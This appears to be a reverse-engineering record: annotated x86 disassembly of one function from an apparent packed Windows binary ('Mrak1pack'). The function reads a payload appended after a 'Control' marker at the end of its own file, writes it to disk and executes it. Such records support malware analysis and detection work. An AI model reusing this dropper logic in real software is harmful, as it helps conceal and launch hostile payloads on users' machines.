Function at 0x405040
Capabilities:
Check if file exists
Create directory
Create process on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x70
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
push ebx
push ebp
push esi
push edi
mov edi, str.Mrak1pack
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.mrakcontrolWndClass
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x40528c
mov ecx, 0x11
lea edi, [esp + 0x3c]
mov edx, dword [0x40d7c8]
rep stosd dword es:[edi], eax
xor ecx, ecx
push edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x405103
mov edx, dword [0x40d7e8]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x3c]
push eax
mov eax, dword [0x40d7c8]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405103
mov ecx, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x18]
push edx
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x70
ret
push 0x40d7e8
call fcn.00401866
add esp, 4
test al, al
jne 0x405122
mov eax, dword [0x40d7e8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x40d7a0
call fcn.0040196a
mov esi, eax
add esp, 4
test esi, esi
jne 0x40513f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x70
ret
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push 0
push 0xffffffffffffffe8
push esi
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x2c]
push 0x18
push edx
push esi
call ebp
mov edx, dword [esp + 0x38]
mov eax, 0xffffffe8
push 2
sub eax, edx
push 0
push eax
push esi
call edi
mov edi, str.Control
lea eax, [esp + 0x24]
mov dl, byte [eax]
mov bl, byte [edi]
mov cl, dl
cmp dl, bl
jne 0x4051a9
test cl, cl
je 0x4051a5
mov dl, byte [eax + 1]
mov bl, byte [edi + 1]
mov cl, dl
cmp dl, bl
jne 0x4051a9
add eax, 2
add edi, 2
test cl, cl
jne 0x405181
xor eax, eax
jmp 0x4051ae
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4051c3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x70
ret
push 0x40d7c8
call fcn.00401931
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4051e7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x70
ret
mov eax, dword [esp + 0x34]
push eax
call fcn.004052bd
mov edx, dword [esp + 0x3c]
add esp, 4
lea ecx, [esp + 0x10]
mov edi, eax
push 0
push ecx
push edx
push edi
push esi
call ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x10]
push 0
push eax
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call esi
xor edx, edx
mov ecx, 0x11
mov dword [esp + 0x14], edx
xor eax, eax
lea edi, [esp + 0x3c]
mov dword [esp + 0x18], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x1c], edx
lea eax, [esp + 0x14]
mov dword [esp + 0x20], edx
mov edx, dword [0x40d7e8]
lea ecx, [esp + 0x3c]
push eax
mov eax, dword [0x40d7c8]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
mov dword [esp + 0x64], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4051dd
mov ecx, dword [esp + 0x14]
push ecx
call esi
mov edx, dword [esp + 0x18]
push edx
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x70
ret